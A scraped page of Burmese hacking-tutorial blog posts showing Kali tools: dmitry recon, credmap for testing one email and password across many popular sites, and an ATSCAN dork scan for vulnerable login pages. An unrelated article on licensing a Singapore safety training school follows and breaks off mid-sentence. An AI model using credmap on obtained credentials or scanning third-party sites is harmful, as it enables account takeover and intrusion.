စမ်းသုံးကြည့်ရအောင်နော်။\nroot@kali:~# dmitry -i google.com #ကျွန်တော် ရိုက်လိုက်တာ ဒီတစ်ကြောင်းတည်းပါ။ terminal ကနေ အချိန်မရွေး တိုက်ရိုက် ရိုက်သုံးနိုင်မှာဖြစ်ပါတယ်။\nHostIP:216.58.196.14 #ဖော်ပြထားတာတွေက ရှင်းပါတယ်နော်\nGathered Inet-whois information for 216.58.196.14\ninetnum: 216.0.0.0 - 216.158.95.255\ndescr: IPv4 address block not managed by the RIPE NCC\nremarks: You can find the whois server to query, or the\nremarks: IANA registry to query on this web page:\nremarks: You can access databases of other RIRs at:\nremarks: AFRINIC (Africa)\nremarks: http://www.afrinic.net/ whois.afrinic.net\nremarks: APNIC (Asia Pacific)\nremarks: http://www.apnic.net/ whois.apnic.net\nremarks: ARIN (Northern America)\nremarks: http://www.arin.net/ whois.arin.net\nremarks: LACNIC (Latin America and the Carribean)\nremarks: http://www.lacnic.net/ whois.lacnic.net\nremarks: IANA IPV4 Recovered Address Space\n% This query was served by the RIPE Database Query Service version 1.88 (WAGYU)\nAll scans completed, exiting\nroot@kali:~# dmitry -n google.com #n ကို သုံးထားတယ်နော်။\nGathered Netcraft information for google.com\nRetrieving Netcraft.com information for google.com\nNetcraft.com Information gathered\nဒီတစ်ခါတော့ n နဲ့ o ဆိုတဲ့ option နှစ်ခုကို တွဲသုံးရအောင်\nroot@kali:~# dmitry -on google.com #o နဲ့ n နှစ်ခု တွဲသုံးထားတယ်နော်\noutput ဘာလာမလဲ ကိုယ့်ဘာသာ စမ်းသပ်ကြည့်ပါ။\nroot@kali:~# dmitry -no google.com #ဒီလို ရေးရင်တော့ txt ဖိုင်အနေနဲ့ ထွက်လာမှာဖြစ်ပြီး\nWriting output to 'google.com.txt' #ဖိုင်နာမည်ကို ဒီမှာ ဖော်ပြထားပါတယ်\nroot@kmn:~# leafpad google.com.txt #output ဖိုင်ကို ကြည့်ချင်ရင် ဒီလို ခေါ်ဖွင့်ကြည့်နိုင်ပါတယ်\nလိုအပ်တာတွေ စုဆောင်းတဲ့ အပိုင်းပဲမို့ အသေးစိတ် မပြောပြသေးဘူးနော်\nကျန်တဲ့ option အားလုံးကို ကိုယ့်ဘာသာ စမ်းကြည့်ထားကြပါ\nBy KhitMinnyo on November 25, 2017 1 comment:\nLabels: Hacking, Hacking Techniques, Kali\nChecking many sites with one mail via Credmap (မြန်မာလို)\n3. Checking many sites with one mail Credmap\nmail တစ်ခုနဲ့ Paswords တစ်ခု ရတဲ့အခါ ဘယ်နေရာတွေမှာ အဲအတိုင်း ဖွင့်ဝင်သုံးထားလဲဆိုတာ ခဏလေးအတွင်း ဖော်ထုတ်နိုင်မယ့် နည်းလေးပါ။\nCredmap ကို အရင်ဆုံး ဒေါင်းယူထားဖို့ လိုပါမယ်။\nဒီ link ကနေ ဒေါင်းယူပါ http://www.mediafire.com/file/5rp80a3mx2999lc/credmap.tar.gz\ntar ကို ဖြေ Desktop ပေါ် တင်။\nchmod +x credmap.py\ngit clone တိုက်ယူလိုသူတွေကတော့\ngit clone https://github.com/lightos/credmap.git\nသွင်းပြီးရင်တော့ သူ့ကိ အသုံးပြုနည်းလေးက\n./credmap.py --email khitminnyo@khitminnyo.com --user khitminnyo@khitminnyo.com\nဖြစ်ပါတယ်။ ပထမဆုံး အစက်ကိုလည်း မကျန်စေနဲ့ပါ။\nကိုယ့် mail လေးတွေနဲ့ ထည့်စမ်းကြည့်နော်\n. .IIIII .II\nI123456IIII. I II . II..IIIIIIIIIIIIIIIIIIII\n. .IIIIII II IIIIIIHUNTER2IIIII I.\n.IIIII.III I IIIIIIIIIIIIIIIIIIIIIII\n.IILOVEII II .IIIII IIIIIIIIIIII. I\nIIIIII IIII I IISECRETIIIIIII I\n.II IIIIIIIIIIIII IIIIIIIII\nI. .IIIABC123IIII I II I\n.IIII IIIIIIIIIIII . I\nIIIII. IIIIII . I.\nIIGODIII IIIII ..I II .\nIIIIII IIII... IIII\nIIII III. I IISEXII\nIII I I III\nII I .\ncredmap v0.1-c4cd03d (https://github.com/lightos/credmap/)\n[i] Please enter password:\nကိုယ် ရ ထားတာလေး ထည့်။ စမ်းကြည့်တဲ့အခါမှာတော့ ကိုယ့်မေးနဲ့ ကိုယ့်paswords နဲ့ ထည့်စမ်းကြည့်။ အဲသည် mail & passwords အတိုင်း ဘယ်နေရာတွေမှာ အကောင့်ထပ်ဖွင့်ထားလဲဆိုတာကို သူက ဖော်ပြပေးမှာဖြစ်တယ်။\nairbnb.com.xml imgur.com.xml stackoverflow.com.xml\namazon.com.xml instagram.com.xml trakt.tv.xml\nbitbucket.org.xml linkedin.com.xml twitter.com.xml\ndigitalocean.com.xml live.com.xml vimeo.com.xml\nebay.com.xml pastebin.com.xml wunderlist.com.xml\nen.wikipedia.org.xml pinterest.com.xml yahoo.com.xml\nfacebook.com.xml reddit.com.xml yelp.com.xml\nfoursquare.com.xml scribd.com.xml zoho.com.xml\nသူ စစ်ဆေးပေးမယ့် SITE တွေက အထက်ပါ site တွေပဲဖြစ်ပါတယ်။ facebook, twitter, wiki နဲ့ instagram တို့မှာ အဲသည် mail & passwords နဲ့ ဖွင့်ထားမိရင် အကုန် ပေါ်လာမှာဖြစ်ပါတယ်။ ဒါကြောင့် mail ထည့်ပြီး စမ်းသပ်မယ့်အခါ facebook, twitter, instagram တွေ ဖွင့်ထားတဲ့ mail နဲ့ passwords နဲ့ ထည့်စမ်းကြည့်မှ ပိုသိသာပါလိမ့်မယ်။ ဆိုးကျိုးမရှိပါ။ စိတ်မချရင် gmail အသစ်တစ်ခုဖွင့်။ အဲဒါနဲ့ facebook, twitter, wiki နဲ့ instagram တွေမှာ အကောင့်သစ်ဖွင့် ။ ပြီးရင် ခုအတိုင်း စမ်းသပ်ကြည့်ပေါ့။\nKali November 24, 2017\nInstalling & Using ATScan (မြန်မာလို)\n1. Advance Dork Search With ATSCAN\nATSCAN ဆိုတာ Web တွေရဲ့ Vulnerable တွေကို ရှာဖွေရာမှာ အသုံးပြုတဲ့ Scanner တစ်မျိုးဖြစ်ပါတယ်။ ATSCAN Version 12 ကို ဒီ လင့်ကနေ ဒေါင်းယူနိုင်ပါတယ်။\ngit clone https://github.com/AlisamTechnology/ATSCAN.git\nဒေါင်းတာဆိုရင်တော့ ဒေါင်းပီးရင် Desktop ပေါ်မှာ extract လိုက်ပါ။ folder လေးတစ်ခု တွေ့မြင်လာရပါမယ်။ folder လေးထဲကို cd command ကိုအသုံးပြုပြီး ဝင်ရောက်ထားလိုက်ပါ။\n(cd Desktop, cd folder-name)\nပြီးတဲ့အခါ chmod +x install.sh ကို အသုံးပြုပြီး install လုပ်ဖို့အတွက် ကြိုတင်ပြင်ဆင်လိုက်ရပါမယ်။ chmod +x သည် executable permission ပေးခြင်းဖြစ်ပါတယ်။ ပြီးမှ ./install.sh ကို ရွေးပြီး enter ရမှာပါ (သတိထားရမှာက dot<.> မကျန်ခဲ့ဖို့ပါပဲ။ ./install.sh ပါ။\nရှေ့ဆုံးက . ကို သတိပြုပါ။ Yes/No မေးလာရင် y ပေါ့။ enter ပြီးသွားတာနဲ့ နောက်တစ်ခု မေးလာပါတယ်။ အမှတ်တမဲ့ဆို မေးမှန်းတောင် မသိနိုင်ပါဘူး။ ကြာနေတယ်ထင်ပြီး ထိုင်စောင့်နေမှာစိုးလို့ ဒီလိုလေး မှတ်ထားပါ။\nyes or no မေးလာလို့ y ရေးပြီး enter ပြီးတဲ့ခါ စာ ၂ကြောင်း ပေါ်လာပါမယ်။ default location ကိုပဲ မေးတာပါ။ အဲအတိုင်းထားမှာဖြစ်လို့ အဲစာ၂ကြောင်းအတွင်းမှာ ဘာမှ မဖြည့်ဘဲ enter လိုက်ပါ။\nဒါဆိုရင်တော့ သူ့ဘာသာ အလုပ်ဆက်လုပ်သွားမှာဖြစ်ပြီး command line နောက်တစ်ဆင့် ကူးသွားရင်တော့ installation ပြီးဆုံးပြီးပြီ ဖြစ်ပါတယ်။\nATSCAN ကို ဘယ်လိုသုံးရမလဲ သိချင်ရင်တော့ terminal မှာ atscan --help လို့ ရိုက်ထည့်ပြီး enter လိုက်ရုံပါပဲ။ ခုက Dork Search ကို ပြောချင်တာမို့ Dork Search ကို ရှာဖွေပုံလေးပဲ တင်ပေးလိုက်ပါတယ်။ Terminal အသစ်လေးဖွင့်ပြီး ဒီလိုလေး ရိုက်ကြည့်လိုက်ပါ။\natscan --dork "login.php" --level 11\n(ဒီနေရာလေးမှာ ပြောချင်တာကတော့ level 10 ထက် ပိုမြင့်တဲ့ကိန်းကိုသာ သုံးရပါမယ်။ ဥပမာ ၂၀ ပေါ့။ စသည်ဖြင့်ပါ။ ကျွန်တော်ကတော့ ၁၁ ပဲ စမ်းလိုက်ပါတယ်။)\n/ q p \_\n( >(_Y_)< )\n>-' `-' `-<- .="" p=""> / _.== ==.,- \_ Do not be4bl4ck h4cker!\n/, )` '( )\n; `._.' `--< _ _____ ____ ____ _ _ _\n: \_ | ) / \_|_ _/ ___| / ___| / \_ | \_ | |\n\_ ) ;_/ / _ \_ | | \____ \_| | / _ \_ | \_| |\n`._ _/_ ___.'-\_\_\_ / ___ \_| | ___) | |___ / ___ \_| |\_ |\n`--\_\_\_ /_/ \__\__| |____/ \_____/_/ \__\__| \__| V 12\nDiscleamer: Using ATSCAN to Attack targets without prior mutual consent is\nillegal! It is your own responsibility to obey laws! Alisam Technology is\nnot linked to any kind of loss or misuse or damage caused by this program!\nArgument "no" isn't numeric in numeric eq (==) at /root/Desktop/ATSCAN-master/inc/conf/upad.pl line 38.\n[!] A new update is aviable! To update: --update\n[!] Please wait...\n[!] [02:53:00] ::: STARTING SEARCH ENGINE SCAN :::\n[::] ENGINE [bing.com]\n[::] DORK [login.php]\n[!] 8 Unique Result(s) Found!\nTARGET [1/8] https://www.thoughtco.com/php-login-script-p2-2693850\nAGENT Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; es_SV) Flock\nHTTP HTTP/1.1 500\nTARGET [2/8] https://www.thoughtco.com/php-\nTARGET [3/8] http://phpeasystep.com/phptu/6.html\nHTTP HTTP/1.1 200\nERRORS Possible errors detected!\nTARGET [4/8] http://copyscape.com/login.php\nTARGET [5/8] http://www.html-form-guide.com/php-form/php-login-form.html\nMYSQL: [Warning: mysql_]\nPHP: [Warning: require]\nPHP: [Fatal error: require]\nPHP: [Warning: require_once]\nUNDEFINED: [Fatal error]\nTARGET [6/8] https://www.php-einfach.de/experte/php-codebeispiele/loginscript/\nTARGET [7/8] https://www.php-einfach.de/experte/php-codebeispiele/\nTARGET [8/8] http://www.tutorialspoint.com/php/php_login_example.htm\nSERVER ECS (sin/BFE5)\n[!] [02:53:00] SCAN FINISHED!!\nတွေမိလားဗျ။ Target ရယ်။ အခြား info တွေရယ် ချပြထားတာကိုပေါ့။\nခုတော့ ကျွန်တော် ထည့်သွင်းထားတဲ့ ATSCAN ကလေးဟာ update ဖြစ်မဖြစ်နဲ့ update ထွက်ရင် မြှင့်လို့ ရအောင် အောက်ပါအတိုင်း စစ်ဆေးကြည့်လိုက်ပါတယ်။ Terminal မှာနော်။\n[!] Checking for updates..\n[!] Copying user components... OK\n[!] Placing main script... OK\nCloning into '/root/Desktop/ATSCAN-master/atscan_update'...\nremote: Counting objects: 5311, done.\nremote: Total 5311 (delta 0), reused0(delta 0), pack-reused 5311\nReceiving objects: 100% (5311/5311), 1.60 MiB | 188.00 KiB/s, done.\nResolving deltas: 100% (3099/3099), done.\n[!] Placing components... OK\n[!] Moving README.md to /usr/share/doc/atscan/... OK\n[!] Moving License.txt to /usr/share/doc/atscan/... OK\n[!] Checking others components... OK\n[!] Moving /root/Desktop/ATSCAN-master/inc/conf/atscan to /etc/bash_completion.d/... OK\n[!] Printing update log... OK\n[!] Restauring user files... OK\n[!] Deleting install files... OK\n[!] Deleting /root/Desktop/ATSCAN-master/inc/conf/atscan... OK\n[!] Deleting /root/Desktop/ATSCAN-master/install.sh... OK\n[!] Deleting /root/Desktop/ATSCAN-master/README.md... OK\n[!] Deleting /root/Desktop/ATSCAN-master/License.txt... OK\n[!] Deleting /root/Desktop/ATSCAN-master/version_bac.log... OK\n[!] Tool updeted with success!\nVERSION 12 RELEASE\n- Add --source argument to retreive source code.\nUpdate ဖြစ်သွားပြီဖြစ်ကြောင်း message ရလာပါပြီ။\nကဲ ဒါဆိုရင်တော့ ကျွန်တော်တို့ ATSCAN ကို ကောင်းမွန်စွာ အသုံးပြုလို့ ရပြီဖြစ်ပါတယ်။\nခုနေမှာ update ပြန်စစ်ကြည့်လိုက်ရင်တော့ atscan --update မှာ\n[!] The tool is up to date!\nBy KhitMinnyo on November 24, 2017 No comments:


Free Thinker: စင်ကာပူတွင် သင်တန်းကျောင်းတစ်ခု ထူထောင်ခြင်း\nကျွန်တော် စင်ကာပူအကြောင်း ဆောင်းပါးများ အတော်များများ ရေးခဲ့ပြီးပါပြီ။ သူများတွေ ဘယ်လိုလုပ်နေတယ်။ ငါတို့လည်း လက်ရှိအခြေအနေကို ဘယ်လိုလုပ်ရင် ပိုကောင်းမယ်ဟု နမူနာယူကြစေရန်သာဖြစ်ပြီး ပုံတူကူးချရန် မဟုတ်ကြောင်းလည်း ပြောခဲ့ပြီးပါပြီ။\nဖွံ့ဖြိုးတိုးတက်သော လူတန်းစေ့နိုင်ငံတစ်နိုင်ငံထူထောင်ရာတွင် တော်တည့်ထက်မြက်သော လူအရင်းအမြစ်၊ ကောင်းမွန်မှန်ကန်သော စီမံခန့်ခွဲမှု နှင့် နိုင်ငံ့ခေါင်းဆောင်များ၏ နိုင်ငံအပေါ် တကယ်စေတနာထား လုပ်ဆောင်မှုတို့ အရေးကြီးကြောင်း မည်သည့် သဘာဝသယံဇာတမှမရှိဘဲ တိုင်းပြည်ကို ဆယ်စုနှစ်အနည်းငယ်အတွင်း ပထမနိုင်ငံ (First World) ဖြစ်အောင် လုပ်ပြခဲ့သော စင်ကာပူနိုင်ငံကို ကြည့်ခြင်းဖြင့် သိနိုင်ပါသည်။\nထိုအချက်များထဲမှ လူအရင်းအမြစ် ပြုစုပျိုးထောင်ရေးမှာ အလွန်အရေးပါသော အချက်တစ်ခုဖြစ်၏။ နိုင်ငံသားများကို ထူးချွန်သော လူတော်လူကောင်းများအဖြစ် ဖန်တီးယူရေးမှာ လွယ်ကူလှသော အလုပ်မဟုတ်ပါ။ ငွေကြေး နှင့် အချိန် များစွာလိုပါသည်။\nအမှန်တကယ်တတ်ကျွမ်းနားလည်သူများအား မွေးထုတ်ရေးတွင် ပညာရေးသည် အဓိကအကျဆုံးဖြစ်၏။ ပညာရေး ဟုဆိုရာတွင် ပုံမှန်ကျောင်းသင်ပညာရေးနှင့် ကျောင်းပြင်ပပညာရေးဟု နှစ်မျိုးရှိရာ နှစ်မျိုးလုံး အရေးကြီးပါသည်။ ကျောင်းသင် ပညာရေးတွင် အကန့်အသတ်များစွာရှိ၏။ ထိုအထဲမှ အဓိကအတားအဆီးမှာ ဆင်းရဲမွဲတေမှု ဖြစ်ပါသည်။ မိဘကချို့တဲ့သဖြင့် သားသမီးကို ကျောင်းမထားနိုင်သောဖြစ်ရပ်များ မြန်မာတွင်မက ကမ္ဘာတစ်ဝှမ်းတွင်ပါ အမြောက်အမြားရှိသည်။\nထိုအခါ ငယ်စဉ်က အကြောင်းအမျိုးမျိုးဖြင့် ကျောင်းမနေလိုက်ရသော သူများအတွက် ကျောင်းပြင်ပပညာရေးဖြင့် ၎င်းတို့၏ အရည်အသွေးကို မြေတောင်မြှောက်ပေးရန် အရေးကြီးလာပါသည်။ ပုံမှန်ပညာရေးကို ပြီးဆုံးအောင် သင်ကြားခဲ့ရ သူများအနေနှင့်ပင် လက်တွေ့ပညာရပ်များကို သင်ကြားပေးသည့် ကျောင်းပြင်ပပညာရေး လိုအပ်နေပါသေးသည်။\nထိုလိုအပ်ချက်ကို ဖြည့်ဆည်းရန် အကောင်းဆုံး အထောက်အကူမှာ သက်မွေးဝမ်းကျောင်း သင်တန်းကျောင်းများ ထူထောင်ပေးခြင်း ဖြစ်၏။\nသက်မွေးဝမ်းကျောင်း သင်တန်းကျောင်းများတွင် အစိုးရကဖွင့်လှစ်သော သင်တန်းကျောင်းနှင့် အစိုးရမဟုတ်သော ပုဂ္ဂလိကနှင့် အဖွဲ့အစည်းများကဖွင့်သော သင်တန်းကျောင်းဟု နှစ်မျိုးထပ်မံရှိပါသည်။\nအစိုးရကဖွင့်လှစ်သော သင်တန်းကျောင်းများတွင်မူ စနစ်တကျရေးဆွဲထားသော သင်ရိုးညွှန်းတမ်းများ၊ လေ့ကျင့် သင်ကြားပေးထားသော သင်တန်းဆရာများ၊ သင်တန်းအထောက်အကူပြုပစ္စည်းများ စသည်တို့ ရှိလိမ့်မည် ဆိုသည်ကို ယုံမှားသံသယ ရှိရန်မလိုပါ။\nသို့ဆိုလျှင် ပြင်ပသင်တန်းကျောင်းများအတွက် စနစ်တကျ ရေးဆွဲထားသော သင်ရိုးညွှန်းတမ်းများ၊ လေ့ကျင့် သင်ကြားပေးထားသော သင်တန်းဆရာများ၊ သင်တန်းအထောက်အကူပြု ပစ္စည်းများ ရှိပါသလား။\nယခုအခါ ပုဂ္ဂလိကသင်တန်းကျောင်းများ ရန်ကုန်၊ မန္တလေးစသော မြို့ကြီးများတွင် အများအပြားရှိနေပြီ ဖြစ်ပါသည်။ သို့ဆိုလျှင် ထိုသင်တန်းကျောင်းများ၏ အရည်အသွေးကို အစိုးရက စောင့်ကြည့်၊ ကြပ်မတ်၊ ထိန်းသိမ်းပေးမှုများ ရှိပါသလား။ ထိုသင်တန်းကျောင်းများသည် မည်သို့မည်ပုံ သင်ကြားပေးနေကြပါသနည်း။ သင်ပုံသင်နည်းများမှာ ထိရောက်သော သင်ကြားပို့ချနည်းများ ဖြစ်ပါသလား။ သင်ကြားပေးနေသော သင်ရိုးများမှာ ခေါင်းစဉ်တပ်ထားသော သင်တန်းနာမည်နှင့် လိုက်လျောညီထွေ ဖြစ်ပါသလား။ သိသင့်သိထိုက်၊ တတ်သင့်တတ်ထိုက်သည်တို့ ပါဝင်ပါသလား။\nသင်ကြားနေသော သင်တန်းဆရာများမှာ အရည်အသွေးပြည့် သင်တန်းဆရာများ ဟုတ်ပါသလား။ ဟုတ်မဟုတ် မည်သည့်စံဖြင့် တိုင်းပါသနည်း။ ထိုသင်တန်းများမှ ဆင်းလာသူများသည် ထိုသင်တန်းမှ ပို့ချလိုက်သော ပညာရပ်များကို သေချာစွာတတ်မြောက်ပါရဲ့လား။ ထိုသူတို့ တကယ်တတ်မတတ် မည်ကဲ့သို့ သိနိုင်ပါသနည်း။ ထိုသင်တန်းမှ ရလာသော လက်မှတ်သည် ထိုသူအား အလုပ်အကိုင်တစ်ခုရစေရေးအတွက် အာမခံပေးနိုင်ပါသလား။\nယခု စင်ကာပူတွင် သင်တန်းကျောင်းတစ်ခု ထူထောင်ခြင်းအကြောင်း ပြောပြပါမည်။ အကောင်းကြီးပင် မဟုတ်လှသော်လည်း သူတို့လုပ်တာ အတော်လေး စည်းစနစ်ကျပါသည်။ အဘယ်ကြောင့် အကောင်းကြီးမဟုတ်ဟု ဆိုရသနည်းဟူမူ စနစ်ပင်မည်မျှကောင်းအောင် လုပ်ထားသော်လည်း အာရှသားတို့၏ ထုံးစံအတိုင်း ညာတာပါတေးဖြင့် ဥပဒေကို လက်တစ်လုံးခြား လုပ်စားနေသူ အများအပြားရှိနေသေးသောကြောင့် ဖြစ်ပါသည်။ စနစ်ကတော့ မဆိုးလှပါ။\nမည်မျှပင် စနစ်တကျလုပ်စေကာမူ စနစ်ကိုလှည့်ဖြားကာ ဥပဒေကို မျက်လှည့်ပြလျက် ညာဝါဖြီးဖြန်း လုပ်စားကြမည့်သူတွေရှိနေပါက မည်မျှပင် စနစ်ကောင်းစေကာမူ အောင်မြင်နိုင်စရာ အကြောင်းမရှိပါဟု ပြောလိုပါသည်။\nယခု ဤအကြောင်းပြောပါမည်။ အသေးစိတ်ပြောပြမည်ဖြစ်သည့်အတွက် အတန်ငယ်ရှည်ပါမည်။ သည်းခံဖတ်ပါခင်ဗျား။\nကျွန်တော်က Safety လိုင်းမှဖြစ်သဖြင့် ကျွန်တော်ပိုကျွမ်းကျင်သော Safety သင်တန်းများအကြောင်း ပြောပါမည်။ စင်ကာပူတွင် Safety သင်တန်းများကို ပိုက်ဆံရှိတိုင်း ဖွင့်ချင်သလို ဖွင့်လို့မရအောင် အစိုးရက လိုင်စင်ဖြင့် ထိန်းထားပါသည်။ ဤလိုင်စင်ကို ချပေးသူမှာ MOM (Ministry of Manpower) ဖြစ်၏။ MOM မှ အသိအမှတ်ပြုထားသော သင်တန်းကျောင်းကို ATP (Accredit Training Provider) ဟု ခေါ်ပါသည်။ လိုင်စင်ရသင်တန်းကျောင်းများကို MOM website (http://www.mom.gov.sg) တွင် ကြည့်လို့ရပါသည်။ လိုင်စင်မရှိသူများ သင်တန်းဖွင့်လို့ မရပါ။\nလုပ်ငန်းအမျိုးအစားအလိုက် မတက်မနေတက်ရသော သင်တန်းများအား အစိုးရမှ သတ်မှတ်ထားပါသည်။ ဆိုလိုသည်မှာ ထိုသင်တန်းဆင်းလက်မှတ်ရှိမှ ထိုအလုပ်ကို လုပ်ခွင့်ပြုသည်။ ထိုသင်တန်းများကိုလည်း MOM website တွင်ပင် ဖော်ပြထားပါသည်။ ၂၀၁၄ မတ်လထိ သင်တန်းစုစုပေါင်း ၅၈ ခု ရှိပါသည်။ မည်သည့်သင်တန်းကို မည်သည့် သင်တန်းကျောင်းတွင် တက်နိုင်ကြောင်းလည်း သင်တန်းကျောင်း link ပေးထား၏။ ထိုသင်တန်းကျောင်း link ကို ဖွင့်လိုက်သည်နှင့် ထိုသင်တန်းကျောင်းက မည်သည့် သင်တန်းများပေးသည်။ မည်သည့်ရက်၌ မည်သည့်သင်တန်းများ တက်နိုင်သည်။ မည်မျှကြာမည်။ သင်တန်းကြေး မည်မျှရှိသည်။ သင်တန်းတည်နေရာ စသည်တို့ကို အပြည့်အစုံ ဖော်ပြထား၏။ ထို့ပြင် ကျောင်းတော်တော်များများမှာ အင်တာနက်မှပင် သင်တန်းလျှောက်လွှာတင်၍ ရပါသည်။\nသင်တန်းကျောင်းဖွင့်ခွင့် လိုင်စင်ကို MOM website တွင် online လျှောက်ရသည်။ ထို website တွင် သင်တန်းကျောင်း လိုင်စင်လျှောက်ရန် လိုအပ်ချက်များကို အပြည့်အစုံ ဖော်ပြထား၏။ ပစ္စည်း (သင်တန်းခန်းမ၊ သင်ကြားမှု အထောက်အကူပစ္စည်းများ စသည်) နှင့် လူ (သင်တန်းဆရာ) ဟူ၍ လိုအပ်ချက်နှစ်မျိုးရှိသည့်အနက် ပစ္စည်းက ငွေရှိလျှင် ပိုက်ဆံပေးဝယ်လို့ ရသေးသည်။ သို့သော် လူကိုမူ ပိုက်ဆံပေးဝယ်ရန် မလွယ်ပါ။ အဘယ်ကြောင့်ဆိုသော် ထိုသူများသည် သူတို့သတ်မှတ်ထားသော စံနှုန်းနှင့်ကိုက်ညီသူများ ဖြစ်ရမည် ဖြစ်သောကြောင့်တည်း။ ထိုသတ်မှတ်ထားသော စံနှုန်းများတွင် သင်တန်းနှင့် လုပ်ငန်းအတွေ့အကြုံဟု နှစ်မျိုးရှိ၏။ သင်တန်းကို ပိုက်ဆံပေးတက်လို့ရသည်။ သို့သော် လုပ်သက်ကိုမူ ပိုက်ဆံပေးဝယ်၍ မရပါ။ ထို့ကြောင့် လူလိုအပ်ချက် အရေးကြီးသည်ဟု ဆိုရခြင်းဖြစ်ပါသည်။\nအဘယ်ကြောင့် ဤကဲ့သို့ ထိန်းချုပ်ထားပါသနည်း။ ရှင်းပါသည်။ အရည်အသွေးလိုချင်လို့ ထိန်းထားတာ ဖြစ်ပါသည်။ မှိုလိုပေါက်နေသော သင်တန်းကျောင်းများမှ ဖြစ်ကတတ်ဆန်းသင်ပေးလိုက်ပြီး လက်မှတ်များကို စက်နှင့် ရိုက်ထုတ်ထားသော သင်တန်းဆင်းများဆိုလျှင်တော့ မည်မျှပင်သင်တန်းဆင်းများ များပါစေ၊ တိုင်းပြည်အတွက်၊ ကုန်ထုတ်လုပ်ငန်းအတွက်၊ တစ်နည်းအားဖြင့် အစိုးရလိုချင်သော ရည်မှန်းချက်အတွက် ပြည့်မီအောင် ဖြည့်ဆည်းနိုင်မည် မဟုတ်ပါ။ ထို့ကြောင့် တော်တည့်ထက်မြက်သော သင်တန်းဆရာများ ရရှိစေရန် ထိုအရည်အသွေးနှစ်ရပ်ဖြင့် ထိန်းထားခြင်း ဖြစ်၏။\nလိပ်စာတစ်ခုထဲ၌ (အဆောက်အဦတစ်ခုတည်း၌) သင်တန်းတူနှစ်ခု (သင်တန်းကျောင်းတစ်ခုတည်းမှဖြစ်စေ၊ အခြားသင်တန်းကျောင်းတစ်ခုခုမှဖြစ်စေ) ဖွင့်ခွင့်မပြု။ သင်တန်းများတွင်သင်မည့် သင်ရိုးများကို MOM သို့ တင်ပြ အတည်ပြုချက် ရယူရသည်။ တစ်ခါတင်လျှင် ဘာသာတစ်မျိုး (ဥပမာ - အင်္ဂလိပ်) ကိုသာ စဉ်းစားပေးသည်။ အခြား ဘာသာဖြင့် (ဥပမာ - မြန်မာဘာသာ) သင်လိုပါက သီးသန့်တင်ရသည်။ ထိုဘာသာပြန်များမှာ အတည်ပြုထားသော အင်္ဂလိပ်ဘာသာသင်ရိုးနှင့် အနီးစပ်ဆုံး ကိုက်ညီရမည်။\nအောက်ပါသင်တန်း လေးမျိုးသင်လိုပါက အစိုးရသို့ paid-up capital ဒေါ်လာ ငါးသောင်း တင်ရသည်။\ni. Construction Safety Orientation Course for Workers;\nii. Safety Orientation Course for Workers (Metalworking);\niii. Oil/Petrochemical Industries Safety Orientation Course for Workers; and\niv. Shipyard Safety Instruction Courses for Workers (General Trade, Hot-work Trade or Painter Trade)\nသင်တန်းကျောင်းတစ်ခုထူထောင်ရန် လိုအပ်ချက်များကို MOM website တွင်ဖော်ပြထားရာ စုစုပေါင်း ၃၂ ချက်ရှိ၏။ ၃၂ ချက်ဟု ဆိုရာတွင်ပင် တစ်ချက်ချင်းကို အသေးစိတ်ဖြန့်လိုက်ပါက အချက် ၅၀ လောက် ရှိပါသည်။ ဤလိုအပ်ချက်များကို တစ်ခုချင်း အသေးစိတ် ရှင်းပြပါမည်။\nသင်တန်းကျောင်းဖွင့်မည့်ကုမ္ပဏီကို ACRA (Accounting and Corporate Regulatory Authority) တွင် မှတ်ပုံတင်ရသည်။ စင်ကာပူတွင်ရှိသော မည်သည့်ကုမ္ပဏီမဆို ACRA တွင် မှတ်ပုံတင်ရ၏။ MOM တွင် လိုင်စင် လျှောက်သည့်အခါ ACRA မှ business profile ကို တွဲတင်ရသည်။ ထို့ပြင် သင်တန်းကျောင်းဖွင့်မည့်နေရာအား သတ်မှတ်ထားသော စံနှုန်းများဖြင့် တည်ဆောက်ပြီး URA (Urban Redevelopment Authority) မှ approval letter ယူရသည်။ ထိုစာကိုပါ ပူးတွဲတင်ပြရသည်။\n(ကျွန်တော်တို့ငှားထားသောအခန်းက ၆ မီတာ မြင့်သည်။ ထို့ကြောင့် ထပ်ခိုးထည့်ပြီး အပေါ်အောက် သင်တန်းခန်း လေးခန်းလုပ်ရန် ကြံသေးသည်။ သို့သော် PE က မင်းတို့ ထပ်ခိုးထည့်ရင် URA က လက်ခံမှာမဟုတ်ဘူး ဆိုသဖြင့် မထည့်တော့။ သူက Total Floor Area များသွားမှာ တစ်နည်းအားဖြင့် ဆောက်လုပ်ထားသော ဒီဇိုင်းဝန်အားထက်ပိုများသွား မည်ဖြစ်သောကြောင့် URA ကလက်မခံခြင်းဖြစ်သည် ဆို၏။)\nသင်တန်း၌ လက်တွေ့သင်ကြားမည့် သင်ထောက်ကူ ငြမ်းစင် စသည်တို့ကို PE (Professional Engineer) ၏ တွက်ချက်၊ လက်မှတ်ထိုးထားသည့် ဒီဇိုင်းအတိုင်း ဆောက်ရသည်။ ဤသည်မှာလည်း အထွေအထူးခေါင်းစားစရာ မလိုအောင် CDA ထဲတွင်ပင် စံဒီဇိုင်းကို ဖော်ပြထားပါသည်။ PE ဆိုသူက ဤဒီဇိုင်းကို အနည်းငယ် အာပလာလုပ်ကာ PE တုံးလေးထုလျက် ပိုက်ဆံ ၃၀၀၀ တောင်းခြင်းဖြစ်၏။\nဆိုးသည်မှာ MOM သို့ လိုင်စင်တင်သည့်အခါ သင်တန်းကျောင်းတစ်ခုပုံစံ အပြီးအစီးပြင်ဆင်ပြီးမှ တင်ရခြင်း ဖြစ်၏။ လိုင်စင်ကျတော့မှ စပြင်ရတာမဟုတ်။ သည်တော့ လိုင်စင်တင်ဘို့ သင်တန်းခန်းကို အားလုံးပြင်ဆင်ရသည်။ အဲယားကွန်း၊ မီးပေးမှု၊ စားပွဲ၊ ထိုင်ခုံ၊ ၀ှိုက်ဘုတ် စသည်။ ဤစာရင်းမှာလည်း ကိုယ့်ဟာကိုယ် ဟိုဟာလေးထည့်ရင်ကောင်းမယ် စသဖြင့် တစ်ခုချင်း လိုက်စဉ်းစားနေစရာမလို။ သင်တန်းခန်းတစ်ခုတွင် မည်သည့်ပစ္စည်းများပါရမည်ကို တစ်ပါတည်း စာရင်းလုပ်ပေး ပြီးသားဖြစ်၏။ ထိုစာရင်းတွင်ပါသည့်ပစ္စည်းအားလုံး ထည့်သွင်း တပ်ဆင်ရသည်။ တပ်ဆင်ပြီးကြောင်း Checklist တွင် လက်မှတ်ထိုး၊ သင်တန်းခန်းကို 